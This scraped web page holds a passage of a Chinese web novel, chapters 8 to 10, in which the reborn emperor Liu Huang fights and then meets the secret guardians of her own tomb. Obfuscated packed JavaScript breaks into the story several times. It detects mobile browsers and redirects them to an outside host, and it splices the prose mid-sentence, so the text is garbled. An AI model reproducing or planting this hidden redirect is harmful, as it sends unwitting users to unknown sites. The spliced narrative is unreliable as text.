l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405548|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手爬上她肩。 “老身来埋罢。”老妪矍铄,祥和笑着。 钉耙就这样从刘煌手中抽走。 “只要这位郎君告知老身如何动土,老身一定能将女帝的墓填好。” “阿嬷,你的身体?”刘煌蹙眉。 “你不必担心,我从前是干农活的,脚不好但手利索,气力也大,若换个冒失惯了的毛小子,那才是不干不净冲撞神明。” 她有些踉跄,生怕刘煌不答应,几乎是跪在刘煌膝旁。 “姑娘,若阿婴有事,老身也没了活的盼头,去取药吧,这里交给老身。” 刘煌扶住老妪,望伏檀一眼。 靛蓝衣袍的男人终于松口,同意此权宜之计。 墓门周遭的路障被清出,最后确认一遍没有会绊到老人腿脚的石粒,刘煌牵住绑人的藤绳将伏檀带离帝陵。 捏出一颗藏在手心已久的土丸,朝伏檀喂了下去,美其名曰是烂肠丸,从乱兵中偷来,若是胆敢让她发现取药是幌子,七日之内穿肠破肚。 “你说你住在帝陵附近?”刘煌问。 “准确而言再过一片梅林就到了。” 不对,刘煌陷入思索。 前朝有过女官,女子一度能当朝为官,前朝韦后甚至几欲登基。 但一场宫变后,韦后毙命于离御座一步之遥,后世开启了长达数十年对女子当政者的毁墓,无数女官之墓被捣毁无踪。 故而生前选墓址时,刘煌特意挑了个方圆百里没有人烟的山头。 眼前的男人无论是对于自己生平、陵墓、以及山峦地势都太过熟络,太过细节。 居然知道自己死前仍御案朱批。 “姑娘总看着我做甚?” 他似乎晓得自己很貌美,特意挑了个月光能照得柔和的角度。 “走你的路,不许回头。”刘煌冷冷一语,勒紧藤条。 收紧的束缚令伏檀吸一口冷气,他如弱柳扶风,“姑娘,你好凶。” “‘女帝三年治乱,三年治外,四年天下皆安,死前御案朱批’,”刘煌重复着他说过的话,讶异于他对女帝刘煌的了解。 这不是寻常不认字的百姓听些传闻能说出的措辞。 “当初你骗我说自己是女帝殉人,”刘煌道:“若非帝陵没有殉人,我都要怀疑你是墓里爬出来的殉人了。” “若我真是呢?” 秋风萧疏,山路前处梅林一片,暗香馨然,刘煌直截了当:“帝陵没有殉人。” 在外多时她也听闻了不少帝陵殉人的传言,连老妪给阿婴讲的传闻里也会添上一句扑朔迷离的女帝殉人。 身为墓主,刘煌确信生前没命任何人殉葬,为她操办国丧的宫人与礼官也不会忤逆她的意思进行人殉,民间所传个顶个夸张离奇,连刘煌听了也啧啧称奇。 包括她的死因,有说女帝是难产而亡,有说托孤四大臣之一害死了她,更有甚者信她是天上神仙转世,走了也就回天庭复命,不再回来了。 到今时今日,她的死仍为人所揣测,千奇百怪。 但有一点,刘煌深信,她的帝陵没有殉人。 不知怎的,朦胧中月色仿佛一道身披袈裟的人影。 可那道身影只是她脑海补出的幻象,转瞬打消了。 8. 相交 山脚下一派死气,秃露出的红土层上蹦出几只蛐蛐,昂首阔步,宣告着它们才是此地的唯一户主。 刘煌顿感上当。 “家在何处?”她剑身驾在男人肩头。 “姑娘,有话好说,别急嘛。” 说着伏檀在前开道,绑在一处的双手拔开地上的杂草丛,清扫着地上土泥,两只蛐蛐正对月清吟着,忽然被立起的木板弹飞。 一番扬尘后,红土之下,木制的方型门板开启,瞬间冷气从地底涌出。但再冷也没有墓里冷,刘煌能感知得到,地下应当常有人的痕迹。 透过门板,入内的洞口漆黑深邃。 “你住在地底下?” “外面都是乱兵嘛,我一介柔软男子,手无缚鸡之力的,只能屈身住地偏远了些。”他双眸莹润。 刘煌将信将疑,“此处住了几户人家?” “不瞒姑娘说,此处方圆百里就我一户人家。” 刘煌剑抵他喉,示意他先跳下去。 进入洞口后,地上的木门抬下,遮住天光,地面又恢复如常,看不出有人来过。 刘煌从男人腰上一通摸,搜出锁门的钥匙佩到自己身上。 察觉到手上的藤条微动,她一把将人拽了回来。 前世目盲常年不能视物,身处黑暗中她不仅不受扰,五感反而更敏锐,甚至有丝久违的怀念。 “姑娘的剑是不是可以放下了?长期把着容易手酸的。” “不可以。” 伏檀识趣点头,“举着也好,我就是怕姑娘手累。” “你家有几口人?”刘煌开口,也好晓得待会要应付几人。 “说来惭愧,家中只有一个年迈体衰的老父亲,还等着我回家吃饭。” “老父亲?” 伏檀应声:“父亲很老了,我们孤儿寡父无亲无故,迫不得已才躲到了地下居住。” “你母亲呢?” “母亲很早就过世了。”他略微啜泣,“不瞒姑娘说,山里头埋的那位尊贵之人,就是——我的母亲!” 刘煌如遭雷霆。 “当年女帝驾崩,我父亲不过是一时宠幸的乐师,无依无靠,便带着我居在母亲坟旁,以便时时能见到母亲,所以我才宁可不要钱粮,也不忍见人发丘,那可是,家母之墓。” 伏檀一顿胡诌。 刘煌伫立着,几已石化。 “原来是女帝之子,怪道如此熟悉女帝之事。” “姑娘过奖,我如今不过一介草民,但记得母亲生前留过的训诫,爱民如子。” 他一字一字吐出“爱民如子”,刘煌捏着藤条的拳头暗暗攒紧。 “姑娘绑我抢药,母亲知道后,想必也不会介意的。” “是啊,我也觉得她不介意。”刘煌皮笑肉不笑。 更不介意取到药后打她的“孩儿”一顿。 通道很长,刘煌缘壁摸行,石土夯的墙体凹凸不平,触摸起来像□□的表皮,她感到新奇。 走向尽头,一座地下屋舍展现眼前,月光自上方不可窥见处洒落,射在水塘中,水色通体碧蓝,整个水塘如一颗落水的青金石,流动着光辉,映亮满洞光景。 刘煌一时移不开眼。 眼前是从未见过的水塘,在此之前,原来水泊可以不和青草一个颜色、也不夹杂着有腥味的殷红。 “这是何颜色?” “碧蓝。” “这就是碧蓝色……”她喃喃,思绪恍若杳杳飘回数年前,那个氤氲着椒兰香的屋檐下,礼官为她讲着外面的故事,说着大地尽头,全是水。 碧蓝的、望不到尽头的水。 “你父亲可有名讳?”刘煌正色起来。 伏檀:“姓伏。” 刘煌眼中的星火又寂了下去,姓伏?怎么会是姓伏呢? 她把剑指高,架着人走向屋舍,“我不杀你,只为求药,顺便取些钱财,取完自走,你老实待在洞内不会有任何伤痛。” 那人轻点头。 门闩抽下,伏檀先进门内,见里面没有埋伏也没有人,刘煌放心入内。 油灯点亮,黄豆粒的火光逐渐升起。 她举着烛碗,照清屋内情形。 ——家、徒、四、壁! 一卷席,一张台,一台药柜,没了。泥巴墙黏杂的几根枯草,宛如秃顶上垂死挣扎的毛发,在对作为访客的刘煌摆手。 哪来的钱财!哪来的粮! “钱银呢???粮米呢?” “干我们这行的哪有什么钱。”身后男人气息变了。 刘煌闻声回头,他已经不知何时解开了绳索。 伏檀舒动筋骨,“游戏结束了。” “你能挣脱……?”刘煌看着地上扯裂的藤绳,需要的不是一般气力,蹙眉拔剑。 然而剑身刚亮出零星雪白,一股遒劲格挡住剑首,将剑推回鞘内。 余力顺着剑身传来,刘煌的身骨本来就饿了数日,尚未养好,连人带剑震在地上。 伏檀居高临下走进她的视野,屈膝,慢条斯理地掰开她握着剑的五指。 下一瞬,剑鞘一个顶起打在男人修长的鼻梁骨,刘煌顺势飞身扑上,压住他,握紧手中佩剑。 剑刺偏了,伏檀找准时机一个翻身占据上风,换刘煌紧紧压在他身下。 “你打人好痛。”他嘶地揉着鼻骨。 “还有更痛的。”刘煌偷瞄了眼门外的水塘,深知自己没吃几口饭食的力气,蛮拼定然无胜算。 她乍然扯开男子的腰带,以自己做抛力,纠缠着他,一路翻滚,向水塘滚去。 一声噗通,两具身躯双双入水,浸入光影粼粼的水塘,水花四溅。 身上的衣物湿透,粘稠贴着细汗淌过的肌肤。 男子的腰带纠缠中彻底被刘煌扯下,飘荡水中,靛蓝色的外袍衣门大敞,露出被水濡湿的中衣服,与若隐若现的肤色。 他的唇角翕平了下来,神容隐没在青丝暗影中,看不真切。 转瞬间,反照在墙壁的水光乱了。 二人在水面争夺着佩剑,互不相让。 “你不是盗墓的?”刘煌咬着牙关叩紧剑柄。 伏檀轻哼,“猜对了。” 配合她受绑的种种,从一开始,便是他的伪装。 这点刘煌在见他自如解开束缚时便意识到,可依然想不通,他分明能挣脱束缚为何在帝陵时一言不发。 直接在帝陵争斗,利用山行地貌岂非更佳? 直到记起墓内他说的话。 会留下血迹。 那时他不是在暗示她不愿在墓内见血。 而是不愿血迹玷污帝陵。 慎重到就连污染墓外的土层都不愿意,定要等彻底远离帝陵,才与她显露真实面貌。 现在想来,刘煌之前便觉他整理墓内书卷的举止极其古怪。 寻常盗墓人贪图金银财宝,发丘是根本不会在意墓室损毁如何, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405549|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更有甚者,在盗墓后为销毁罪迹一把火焚尸灭迹。 他不是盗墓之人。 刘煌从最初的想法开始扭转,若不是土夫子,会是何人? 一个不得见陵墓破坏一点损坏、与盗墓人相冲、能清楚掌握帝陵情形之人。 电光石火间,一类名字卡在刘煌喉咙。 可是……自己不曾设立过他们啊,莫非死后有人自作主张为她守陵? 她在关于的传闻中并未听到于此有关的蛛丝马迹。 也许此事对比女帝刘煌一生的诸多风雨过于微不足道,没有传唱的价值,也许,有人刻意隐去了他们存在的痕迹。 思来想去,男人口中素未谋面的“父亲”像一团迷雾黑影浮上刘煌脑际。 战况焦灼,刘煌腾出手一记敲在男人脑勺,可惜挨饿多时的身子力道不够,不仅没有敲晕,反被捉住了手。 分毫间的争夺拉进了二人的身距,衣物浮在水面绞绞缠缠,伏檀顺力将她抵在塘面,薄唇磋磨在她耳后发丝。 “你不是想知道我是谁吗,我来告诉你。” 附在耳边的低语声如碎玉,刘煌回眸,冷眼凝视他。 “我只是来求药求活路,与你无冤无仇。” “你既说女帝爱民如子,如今流年不济,沧海横流,能取药救人、取墓内钱银救人,对她而言即使开棺曝尸又何妨?她难道会拘泥俗礼而不乐见?” 刘煌斩钉截铁,“她乐见。” 洞内风静,水声潺潺。 “对不起。”半晌,伏檀启唇,却是道歉。 “放走你们,帝陵的下落便会暴露,我不能让它暴露,至少,不该是这个时代暴露。” 他语气淡漠,无善无恶,不掺一丝恻隐之心。 “外界的动乱自有它的结局,不得改变,我不插手,也不干预,我只守我该守的道。” 作为与考古人员,他所能做的便是不遗余力维系历史的客观性,不能因为自己的出现而改动既成的时代。 历史已铸,不可更动,这是属于每一位从业者的职业道德。他必须如此维护,不能成为煽动翅膀的蝴蝶、不能成为改变历史的千古罪人。 末了,伏檀道:“没有人可以来打扰她的安宁。” 唯有此句,刘煌恍惚听到了某种压抑的情愫,还没来得及品出便匆匆消逝。 空腹占满腹腔,刘煌的胃不住痉挛,长期未进食,一晚不停歇挖墓与气力消耗,刘煌明白,身体已到极限。 手心一凉,塘水瞬间填满剑柄留下的空隙。 剑最终被取走。 她目视着伏檀横着剑,比划着她的脖颈。 “别看,不会很痛的。”他说。 利刃无情划来,快准狠。 那道可怖的剑风在即将砍下她的脖颈前夕,刘煌徒手接住。 碧蓝的水塘染上了不一样的色泽。 如朱砂入墨。 她急中生智,一口反咬住男人持剑的手,掌中火辣的疼痛强烈,她尽数发泄在齿下的事物上。 两道齿痕赫然现于伏檀手背,深深渗血。 晃动间,伏檀手臂擦过她的脸颊。 靛蓝色的外袍已然在打斗中扯下,飘在水面,此刻刘煌的面容紧紧贴在他白色的中衣上,白色的布料擦出一抹黑黢。 一直遮掩面容的灰泥掉了,刘煌黝黑的脸颊破出一块迥异,眼下两颗痣此刻清晰无比。 看见痣的刹那,伏檀呼吸一窒。 9. 相识 痣。 两颗别无二致的痣。 在眼前人的脸上。 连位置都与出土的女尸一模一样。 伏檀忘不了手伸向水棺内时,棺液中泛起涟漪的尸身。 繁复的殓衣重重包裹住沉睡千年的身体,她就那样静谧地泡在褐红棺液中,鞋履静静浮出水面,像睡着般。 细看,眼皮半睁着,一不留神,便会对上她的眼珠。 透过浑浊的水底,微微发笑。 他曾通过女尸的脸复原了壁画的脸,补全了那些斑斑剥落的缺破。 那两颗痣,是伏檀日夜对着图层分析的像素、是在炭笔下描摹千百遍的两颗墨点,有一日卧室困倦,再次醒来时,手中不知不觉多了支画笔,连梦中也在描摹她的容貌。 数次想忘记,数次入梦,深刻进他的脑海,无法忘怀。 伏檀僵直定住。 任由刘煌咬住手,在虎口留下两道血牙印,他却仿佛感受不到痛觉,目光一动不动地凝着她的脸。 原来,那两颗只存在于画上的眼下痣化形受骨、活生生闯入现实,是如此震撼。 千年前的画布动了起来。 不再是在脑中模拟的想象,不再是壁画上永远定格凝固的一个瞬间。 眼前女子的轮廓与画中人的脸重叠,穿过遂古的洪荒,冲溃他的所思所想。 摄人心魄。 直到被人一拳打上眼窝,伏檀才木然从状若入定的怔愣中回魂。 刘煌夺过刀,抹了抹唇边淌下的血。 那并不是自己的血,而是伏檀的。 虽说不明白前一刻还与自己你死我活的人为何突然刹住动作,但机不可失。 刘煌眸光一凛,运剑挥臂,朝被打退数步的男人砍去。 剑刃乘风挥来,伏檀抬手格挡。 鲜血迸溅,落入碧蓝水塘,漾开红莲。 水面彻底猩红。 险些削掉脑袋的利刃嵌进伏檀的掌心肉里,剑身上还残留着刘煌的血,此刻与他的血混在一处,分不清你我,滑落的血珠彼此交融。 一击即中,刘煌抽回剑就要再看,可剑身怎么也拽不出,那人挨了一剑,竟狠狠握住了她砍来的剑。 “放手!” 伏檀置若未闻,只是痴痴地盯着她的脸,眼眸迷离,如春酒醺然。 甚至,握得更紧了。 血随着他的掌心缓缓向上,裹紧了剑尖,殷红滋滋如细雨断线。 刘煌心中一坠。 以往宫里也不是没有一心求死的疯子,但此人眼中没有半点与那些人一样的求死之意,反倒是…… 她感到一股执迷,难以名状的执迷,看不透,也看不懂。 剑身好不容易拔出,刘煌惯力小退几步,警惕地看着伏檀。 已经太迟了,不能再拖,想到山上在等药的阿婴,刘煌眉心一蹙。 不能再拖了。 她沉腕使剑,朝伏檀刺去。 下一瞬,转身出水,向屋舍内的药箱跑去。 伏檀正静观着,那张眼前惑乱他心神的脸忽地不见。 霎时鼓声惊落,震醒幻梦。 他倏忽悉数回笼思绪,眼神重新明朗,腾出水面追上那抹取药的背影。 一握留住摆动如刃的衣袖。 刘煌回身悍然长剑出鞘,企图击退他。 就在剑身即将刺入伏檀胸膛之际,飞光袭来。 手中剑被打掉,数道飞镖快不见影,订在木桩之上,刘煌往声音传来的方向快速一瞥。 来人神容苍老,眉眼间布满眼纹,水光照映着他满头华发。 他神情严肃,淡漠望着身为不速之客的自己。 刘煌以剑抢地,挺住自己的身子不至于倒下。 好饿,上一次吃饭时多久? 四日前?五日? “帝陵禁地,岂容你胡闹?”老迈的声音回响在整个洞窟上方,冷酷肃杀。 短刃飞来夺命。 刘煌本想抵挡,但两眼一黑,顶地的剑刃崩然断裂,碎块浮光点点。 身体不受控制地倒下。 饿昏过去前,她的脸全然转了过来。 “陛下?!” * 她听见有人在喊自己,声音衰老。 直觉在不住地叩击她: 不对,应该是个比这更年轻的声音才对。 梦里,刘煌又回到了久远的宫殿,回到眼睛一片漆黑时。 礼官阿九搀扶着她下床,说今日宫门侍卫哗变,杀了不少人。 他捂着她躲进衣箱里,脚步声远了又近。 殿外一声掌掴。 叛乱的侍卫大骂着抓来问话的小食官,永阳公主根本不在此地。 割下最受圣宠的永阳公主头颅祭旗,是一桩对皇帝宣战的挑衅,没人不想做。 刘煌躲在衣箱里,听见侍卫的怒吼,听见男孩磕头哭泣,然后是利器出鞘,有什么物什闷声倒地了。 纷乱的步履声逐渐远去,她听见倒地的物什偷偷起身,缩进了她的床榻。 这年的宫卫哗变很快在镇压中落下帷幕,灵帝将参与者夷灭五族,连同被侍卫逼迫的内监、躲在伙房没有作为的宫人、不敢上前护驾的妃嫔,一律凌迟。 因为他们没来救驾,没有作为便是罪。 但爱女刘煌无恙,灵帝转怒为喜,将她抱入怀中爱不释手。 龙袍冰冷,阻隔了体温,刘煌贴到一片冰凉的胸膛。 “父皇真的什么都答应儿臣吗?”她仰头。 “那……儿臣想要一支保护儿臣的暗卫。” “从今天开始,你就是我的暗卫了。” 她对着床底捉出的小食官道。 “养好了伤,你便不能待在宫里,要去我的公主府。” 躲在她床底活命的食官被销除宫籍,即日起,他不再是天家的奴婢,而是公主畜养的私奴。 更低贱、更卑下。 身处皇宫或许有缘博君王赏识,而做公主府的私奴,还是个暗卫,是一条太监都嫌弃没有前途的路。 他走在她的轿子下,混一众随行的奴仆间,去往未知的公主府。 白衣苍狗,久到刘煌从公主变为一国之君后,他才卧在她的膝头坦白,那日闯进她殿内的是他引来的,是他带的路。 他从来贪生怕死,愧做为主人舍命的暗卫。 “我知道。” “我一直知道是你。”刘煌嗅嗅鼻端,“你身上有香,是木樨花。” 那夜暗卫冯樨无声,只是紧紧拥住她的双腿。 即使明知自己曾几乎置她于死地,她依然选择了宽恕他,还让他做她的暗卫…… 若没有一位公主对他说成为她的暗卫,自己,或许已死在了宫闱的清缴里,变成宫外示众的一排骨架。 暗卫冯樨年幼时做过食官。 为食官时的经历被抹去,公主府的人只晓得这是个爱惜脸蛋、做饭好吃的暗卫,不当暗卫时,是个厨子。 冯樨不喜欢遮面,但为执行任务不得不时时换脸,浪费了本身一张好脸蛋。 对千人有千面,这才是一个合格的暗卫,按规矩,对主人也需得遮掩真容。 可面对刘煌,他从不遮面,只愿以那张名唤冯樨的脸来见她。 即使她无法视物。 其他的人皮都太逊色,是虚伪的假物,不足以得配女帝刘煌。 见她,是他为数不多能展露真容的、最放松的时刻。 仅此一刻,不是待命的暗卫,是冯樨。 * 湿润温热的事物擦上脸庞,刘煌眯了眯睫。 那股湿热移开,脸颊立马微凉。不多时,又有东西贴上了脸,这次不再热得烫人,温了许多。 “冯樨……” 干瘪如枯木的手一顿。 擦拭突然停下,刘煌一个激灵,从梦中睁开眼。 “醒了?” 一道苍老的声音悬在头顶,与她昏厥过去前听见的声音如出一辙。 床前的人面罩遮脸,但边缘透出的皮肤掩不住的衰老,依稀可见。 老人从热汽蒸腾的水盆拿起帕巾,拧干,擦拭着刘煌的脸,力道温和,与之前袭击她的老者判若两人。 “给你喂了粥。”他不愿与她多做交谈,伸臂要继续擦她的脸。 刘煌卒然起身,拔剑护身,半天方想起来剑早已折断。 而与此同时,她望见了水盆里自己的倒影。 水面如镜,她脸上的泥灰尽数不见,露出白净的皮肤,五官清晰。 “你如今亟需休养,莫要乱动。” 刘煌快速夺过枕边短刃,对准老人,“你便是那人口中的父亲?” 那人自然是指伏檀。 “你可有姓名?”刘煌问,得到一个模棱两可的答复。 “守陵人无需姓名,我们相当于已经‘死’了。” 守陵…… 山上便是自己的陵墓,刘煌疑心,态度也放软了些:“尊长可是女帝故人?” 沉默片刻,他答:“不是。” “我不过是宫内老奴,依贵人之命守陵,女帝,没见过我。” 究竟是谁会派人守陵,透过面罩望着里中眼白污浑的眼睛,刘煌一时间脑内掠过无数人名,没有一个人的声音与触觉能与眼前的老者对上。 面前陌生的老者实在太老太老了,暮气满身。 极有可能做此举的便是阿九——她的“眼睛”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405550|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟,自己的白事是交由他操办的。 也就是说,阿九还活着? “尊长可知派你们守陵的人是谁吗?”刘煌抱有一丝期望,希望听到熟人的名字。 果不其然听到了故人的名字,但不是阿九,“冯樨冯大人。” “敢问冯大人现在——” “他死了。” 一言而蔽,老人不再多言,端着冒尽热汽的铜盆跨出门槛。 他步履矫健,依稀能看出年少时必是练家子。 只是无论再如何保持着身形,难以磨掉的龙钟老态幽幽地,随着穿堂的风儿吹动衣摆,从踵间、脖后的细微里露了出来。 守陵人要防备天灾人祸,朝廷大多会挑身体壮硕之人,冯樨是暗卫统领,手下掌管一干暗卫,挑个壮硕忠心的人守陵不难。 老人回来了,脸上面罩依然。 不摘面罩不是大不了的事,许是暗卫经年日久的习惯,当暗卫之人防备心强,人前时刻戴着面罩,唯有冯樨,仗着好看不爱戴面罩。 只是没见过女帝这点,这可难办了。 若是见过女帝尚好说,她大可谎称自己是自己遗落民间的子嗣,坏就坏在没有见过。 刘煌绞尽脑汁想着当下的生存危机。 一,如何与没见过女帝的人攀关系,让人放了自己;二,若攀关系失败,如何在暗卫手里杀出去。 “你的脸还需再擦一遍。” 一块湿热贴上刘煌。 她愣了下,被一个老人家如此细腻擦着,着实有些诡异。 见刘煌下意识稍稍别过脸,捏着帕巾的手僵在半空,收回。 “晚生得罪,还望尊长能解我一事。” “何事?” “冯大人因何而死?” 面罩下的眼神变得犀利,“你问这个做甚?” “冯大人乃女帝麾下,我听阿嬷讲传闻时时长听过此人,不料竟是真的存在,故而好奇了些。” 没有回应。 在刘煌以为吃了个闭门羹时,终于听得一声。 “守陵人不管地上事。” 言外之意,冯樨的下落他们不听不闻。在被派来守陵之时,地上的纷争也好,恩怨也好,与他们都无关了,守陵之人事死不事生。 “既如此,尊长又是如何得知冯大人已死?” “若没死必然有人来,没有便是”他略顿,似乎想到什么,“便是一个都没活下来。” 户门外几声咚咚,叩在门上。 刘煌的注意力被拉住,老人打开半扇木门。 伏檀跪在门外,半边脸被刘煌打成了熊猫。 还是鼻塞的“熊猫”,着实可怜。 刚打时看不出伤势,待过一阵再看,该肿该青的地方一个不落。 他抬起鼻青脸肿的脸,嗓音清醇:“父亲,两个时辰已至。” “再跪两个时辰。” 刘煌注意到除了自己打的伤外,他肩上露着晕倒前没见过的瘀红,是从后背渗出的血。 一鞭鞭的,空气中弥漫的血腥似乎在泄密,此地刚经历过一场惩戒。 刘煌看着长跪门前的人,他垂下头,没有半点言语,沉静如水,安然地跪地受罚。 等等、门外的景色? “你不是说你们住在地底么?”刘煌瞧见门外的疏星朗月,向跪在门外的伏檀轻笑。 “他骗你的。” 面罩下的老人出声,“地下是以防万一的避处,久居易病。” 刘煌看向地上的伏檀。 说不出何处怪异,他抬起头望进门户内时,目光宁和安绥,似在刻意避开与自己目光交汇。 “你待如何罚他?”此处没有第死人,刘煌忽悟老人问的是自己。 老人道:“护陵不当,妄造杀孽,言而无信,与俗世人交,自是该罚。” “这是尊长家事,轮不到我来做主。”刘煌婉言谢绝。 面罩下的眼神闪动几瞬。 “晚生还有一惑,”刘煌记起一事,“晚生倒地前听见尊长出言,不知是否是听错了。” 面罩下的人静着,等她的发问。 刘煌匀长的呼吸略加快,凝眸道:“你唤我陛下。” “不曾说过。” “逆子,进来。”老人敲敲拐棍。 伏檀膝行向前,被一棍压住肩头,摁在刘煌身下。 棍子很细,生生遏住他的肩,犹如一根定海神针。 “认罪。” “做错之事,我认受罚。”伏檀言辞矜重,不复先时气质。 先前说话时,他总带着几分漫不经心。 言毕,长跪在地的人望向她。 “但是,帝陵不可毁。” 10. 重活 很长一段时间,刘煌都向后土娘娘许愿,来生能拥有一双完好的眼睛,去看一眼天下,看一眼自己统治下的河山。 然而人间蹉跎多日,入眼的不是峻宇雕楼、宝马香车,是悲鸣、是涂炭、是一个个啃着树皮的人。 连自己也差点被饥饿的乱兵分食。 天下病了,病得很重。 三十年前,她身穿龙袍,摸着自冠下垂落额前的十二串旒,真诚地希翼过,自己百年之后人间将迎来下一个更恢宏的百年。 因为这场人间,她来过,挣扎过。 不想一别三十春秋,十年心血付之一炬。 自己守了十年的天下,如今就是这滩模样。 十年,一个女子最好的春光,献给了自己的故国,换来了什么? 听到身下的伏檀说“帝陵不可毁”时,刘煌的心宛若荒凉沙丘,被风吹彻。 死人的坟茔尚有人守,活人的阳间,走那么多里路,竟难遇一位守城官。 刘煌捏起伏檀的下巴,“令堂要我罚你,你想我如何罚你?” 他的薄唇泛白,毫无血色,鞭伤抽尽了他的血。 “回话。”老人一棍敲在伏檀脊梁,伏檀不吭一声,眼眸在映见刘煌的面容时又垂了下去。 停在男人颌下的手缩进被中,刘煌抱紧身上被褥,窝好,“就罚你……替阿婴熬药吧。” 伏檀愣怔,神色意外,似乎对她轻易放过自己感到一分出奇。 “我去取药。”长跪四个时辰后,他像避鬼神一般退避。 帝陵附近的阿婴与老妪在刘煌昏睡时已被接到山下,安置在另一间屋头。同被救下山的李家兄弟身上还绑着绳,照例见着伏檀破口大骂。 “小白面,山上不是话挺多吗?哑巴了?” “哟?还敢挑衅你李爷呜呜呜呜呜!” 伏檀端药路过,往他们嘴里一人塞了一块米饼。 先前托老妪埋土不过权宜之计,伏檀连夜亲自下场,对陵墓又清又修了遍,熬完阿婴的药,身影清俊的男人背部满是鞭伤,疲惫地坐在木门槛。 “你不罚我别的?” 秋月直照,他摊开掌上药,若有所思地打量着虎口的咬痕,那是刘煌留在他身上的烙印。 “别的?” “黥面、拶指、削膝什么的。” 刘煌默观不语。 “看来令堂对郎君还挺严厉的。” 男人轻哂一声,听出弦外之音。 “给我一个罚你的理由。”刘煌道。 伏檀缄默,翻过掌面去涂掌心刀伤。 片刻,清冽的声音裹挟着药草香循来。 “你和我想的,很像。” 他眺望着远处鬼影似的山,似乎在看一个遥远的地方。 见他认真的模样,刘煌不免新鲜:“怎么个很像法?” “莫非郎君从前认识我?” 看这不过弱冠的俏生脸,自己死的时候他怕是没出生,刘煌忍俊不禁。 不料他竟一改常态,直勾勾地望向她。 不,不是望向自己。 刘煌顺着他的方向摸上脸颊,指腹碰到两颗凸起的痣。 他在看自己的痣。 痣有什么好看的?刘煌不懂。 “给,”一瓶药膏落入她包扎好的手心,男人伏在床榻边缘,倚着脑袋,“我一个人涂不完。” “哟~‘我一个人涂不完~’”老李头拿腔捏调,扭头与小李郎一唱一和。 “弟啊,此饼给你,为兄一个人吃不完呜呜呜呜呜!” 一块米饼堵上老李头恼人的嘴。 这几日李家兄弟学聪明了,只要讨打就有吃的,只要饿了就去讨打,是以每逢伏檀路过势必逮着其淋漓痛骂,极尽恶毒。 除了一种情况—— 一声脆响,拐棍敲地,李家兄弟如被施法,动静即收,哆哆嗦嗦猫在角落。 老人拄着拐棍,气息阴沉。 “父亲。”伏檀从榻上起身,被拐棍扒至一旁。 来人在刘煌的卧榻停下,冷冷地转向伏檀:“你在她房中?” “送药。” “轮不到你操心,”老人低呵,“走。” 秋火摇曳,伏檀的影子随烛光转入门外,屋内只剩老人与刘煌。 “养好伤,就走。”他背对着刘煌。 “尊长一直遮面吗?”刘煌拆开布封,匀匀抹着药。 “传闻,暗卫统领冯大人倒是个不爱遮面的。” 一声刺耳的敲击打断她。 “地上之事与我无关。”布满老茧的手捏紧棍首,几打包袱落在床头,发出铜银撞触声,草药与米粮的味道透出布料。 “你们拿了银钱速离,今日是犬子无礼,且饶你们一命,若再敢来犯,帝陵不介意有人陪葬。” 离?刘煌胸中一片荒芜,她能离去哪儿呢? 三十年能改变许多事物,将她熟悉的一切毁得一干二净。 她熟悉的南汉已经不在了。 一闭上眼,那日熙攘的人市、被拔掉牙齿的孩童、神庙里哀恸的流民,一幕幕惨状在脑中盘桓不散。 一睁开眼,自己依旧躺在床榻上,彷徨着何去何归。 这具身体,不知怎的能重活一回,这一世,她像是受到感召般去民间滚了一遭,沾染满身尘土,碰了一路的钉子。 好不容易重回自己的陵墓,心中潜藏的感受愈发深刻:活过来的她再也回不去帝陵了。 一扇墓门阻隔的从来不是生与死,而是生者与故人的羁绊。 属于女帝的爱恨情仇已经遗留在陵墓中,而属于刘煌的身体在遇见阿婴、老妪那一刻,有了自己新的机缘。 “我没有地方可去。”说出这句话时,刘煌本以为老人会照旧回一句与他无关,不曾想他佝偻着身子良久,拄着拐棍行远。 老妪与其擦肩而过,站在门外满脸欲言又止。 刘煌当即料到阿婴出事了。 守陵人住在山谷深处一座天坑底,土石建成密不透风的围龙屋,刘煌推开阿婴的厢房,桎在房内的草药味纷乱扰动。 “阿姊……”细若的双手伸出,滚烫如烙铁。 “怎会如此?!”刘煌握住,几乎烫得弹开,“不是吃了药吗?” “是吃了,本来都要好转了,晚间又烧了。”老妪神色纠急。 “阿姊,女帝会来接我吗?”藕似的小胳膊拉住刘煌。 刘煌迟疑了。 “她真的存在吗?”女孩彻底烧糊涂了,喃喃起从来深信不疑的鬼神。 “存在,她存在的。”刘煌道。 “那为何我没有见到她?她是不是不喜欢阿婴,所以不来接阿婴了?” “不是的!”刘煌往苍白的小口中灌着药汤。 “因为你还不能死……” 因为你已经见到她了。 神佛难自救。即使信徒再如何乞求,即使他们再如何不愿相信女帝根本没有呼风唤雨的能力,所谓的女帝也不过凡胎,不是什么无所不能的天神。 她撩起女孩的衣衫,后背果然有道不易察觉的伤口,一夕之间化脓得厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 